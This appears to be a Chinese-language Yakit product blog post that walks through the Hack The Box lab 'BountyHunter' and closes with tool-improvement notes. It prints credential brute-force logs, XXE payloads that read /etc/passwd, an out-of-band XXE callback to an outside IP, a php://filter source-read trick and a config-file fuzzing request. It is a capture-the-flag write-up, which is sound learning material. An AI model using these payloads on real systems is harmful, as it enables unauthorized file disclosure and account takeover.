一份来自官方的 Yakit 实战案例。

0x00 背景

当我们说单兵装备的时候，我们通常在说 “我们有什么功能？”，但是如何保证我们的功能是真的有效的？或者如何自我更新迭代，更新更好的插件，更优秀的贴近实战的功能？

虽然一些用户会无私地给我们一些正向的反馈，对于研发团队来说，这并不够，我们需要更加一手的新鲜的实战演练战场。与此同时，一些实战中的案例并不适合放在这些部分给大家做展示，

为此，我们选择 HTB 中的一系列战场，使用 Yakit 实现针对各种靶场的测试与渗透，从而体会我们的产品 “在攻防领域” 应该怎么做？

0x01 HTB-BountyHunter

我们选择一个看起来还比较贴近实战的靶场：HTB BountyHunter

0x02 起手：确定攻击路径

大致观察之后，我们最直接的丢在 Yakit 中扫描端口开启插件跑跑看：

初步看了一下，22 端口爆破和 80 的普通 Web 应该是两个入口，爆破简单看了一下：

"SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2\r\n"
[FAIL]: redis:\\-:root@10.129.95.166:6379
[FAIL]: mongodb:\\admin:root@10.129.95.166
[WARN] 2022-04-21 17:37:58 +0800 [default:ssh.go:86] dial ssh://10.129.95.166:22 failed: ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[FAIL]: ssh:\\root:123456@10.129.95.166:22
[WARN] 2022-04-21 17:38:05 +0800 [default:ssh.go:86] dial ssh://10.129.95.166:22 failed: ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[FAIL]: ssh:\\test:123456@10.129.95.166
[WARN] 2022-04-21 17:38:11 +0800 [default:ssh.go:86] dial ssh://10.129.95.166:22 failed: ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[FAIL]: ssh:\\oracle:123456@10.129.95.166

一般这种情况爆破进去应该是不太可能了，入口应该还是在 Web，于是我们使用 MITM 劫持一些浏览器请求，抓包看一下历史记录，初步点点点大概看了一下，记录了一下操作流程如下：

当我们大致发现了可以测试的参数之后，我们可以尝试对这个包进行手动的测试看看：

1. 我们发现这个数据包的参数是 base64 编码后的结果，实际解开是一个 xml
2. 这个请求可被重放

0x03 XXE 漏洞检查

我们看到参数是 XML 的时候，马上反应过来这应该是一个 XXE 漏洞，那么其实非常简单地，我们应该写一个可以用来测试的脚本：

为此，我们使用poc.HTTP可以快速编写针对一个数据包的检测发送与测试，其实相当于一个可编程和可自动化的 Web Fuzzer，实际代码不超过十行，复制 Payload 改一改就可以达到我们测试的目的。

我们使用上述脚本，可以做到一边修改明文 XML，一边写一些正则或者 Glob 规则来检查结果有啥敏感内容。

理所当然，我们应该尝试使用一些简单的方式来验证漏洞是否存在，比如说 XXE 常见回显 Payload 如下，我们可以挑选一些来自动验证：

# 适用于能把 foo 标签回显出来的情况
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
# 随便针对一个 XML 实体中的实体进行注入，因为我们已经发现用户输入会被回显
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>123</title>
<cwe> &xxe; </cwe>
<cvss>123</cvss>
<reward>123</reward>
</bugreport>

我们尝试了以上两种方式，发现因为回显问题，只有第二种可以生效，那么我们就成功可以实现 XXE 的漏洞利用了:

0x03.1 扩展：无文本回显

通过我们上一篇推文 《除了 DNSLog 之外还有别的选择吗？》我们知道，只要目标可以加在远程目标（满足 TCP 协议），就可以使用 TCP 通杀的反连检测来实现检测；

那么实际上，我们 XXE 的通用 Payload 构造十分简单，就不用再关心具体字段中有哪些内容需要展示回显之类的了。

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT abc ANY>

<!ENTITY xxe SYSTEM "http://124.223.202.90:63783/">

]>

<abc>&xxe;</abc>

0x04 XXE + PHP Hack

我们读到了/etc/passwd发现，实际上www-data用户是存在的，说明服务器地址大概率可能没有改默认，所以尝试/var/www/html/index.php是很正常的操作。

1. 读文件的话，file://协议会有限制
2. 由于网站通过 php 开发，所以我们下意识认为 php xml SYSTEM 应该支持 PHP 伪协议，所以我们可以通过php://filter/read=covert.base64-encode/resource=log_submit.php先包含一下

请注意 log_submit.php 是我们已知的 PHP 文件，就是表单地址

可以批量扫描 / 爆破的配置文件其实并不多，我们使用 Web Fuzzer 爆破目录之前，使用 Codec 生成一个字典，看下我们的规则是不是正确

所以我们可以通过{{list(db|database|config)}}... 这种标签生成一个路径文件的组合，然后批量发包测试，测试结果如下

GET /{{list(db|database|config|config/db|config/database|config/config)}}.{{list(php|inc)}} HTTP/1.1
Host: 10.129.95.166
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 221
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36

理所当然，我们使用 db.php 作为要读取的配置文件

0x04.1 从源码发现一点线索

其实这个网站也并没有数据库，本来想办法连数据库提权应该是不能了。碰巧爆破密码直接就出了结果。

0x04.2 爆破密码

属实没啥办法了，随便跑一跑算了，打开爆破，把/etc/passwd中的感觉可以用的用户名和刚刚拿到的密码来跑跑看。不过运气比较好，跑了几组就出了密码。

0x05 Yakit 表现复盘

这是一个非常 Easy 的靶场，不论是从思路还是利用难度来说都非常简单，我们在这个靶场测试的过程中，其实并没有用到其他的工具去辅助测试，只通过 Yakit 自身提供的功能，编写小的脚本就完成了整个简单流程：

但是实际上，并不是没有提升空间：

0x05.1 Web Fuzzer 的强化与高级用法

实际我们编写的脚本也并不是特别复杂，仅仅是 Payload 的改动 + 测试而已：能否让 fuzz 标签支持更复杂的 Payload 编码逻辑，不需要打开 Yak Runner，仅仅 Web Fuzzer 就能完成这个过程？

实际上，按理说我们{{url({{base64(<xml ... />)}})这样是最理想的，但是由于 fuzz 暂时无法支持编码嵌套，现在可用的替代方案是自己写一个codec插件来实现这个功能。

但是实际上在 Web Fuzzer 界面，要切换到另一个 Tab，然后写插件... 嗯...，那易用性会打很大的折扣。

如何解决这个问题呢？最理想的其实是类似 MITM “热加载” 模式，热加载 codec 代码，让流量自动经过 fuzz 标签调用我们的自定义函数。

我很确信，这是 Web Fuzzer 的下一个很可靠的进化方向。

0x05.2 端口扫描插件启示

其实在我们点击页面劫持网页内容之前，我们就可以看到端口扫描插件已经识别出这个表单了。但是由于表单不是标准的 submit 流程，是通过 JS 拼接了一个 XML 提交的后端接口，导致插件无法识别出参数和自动补充表单的内容。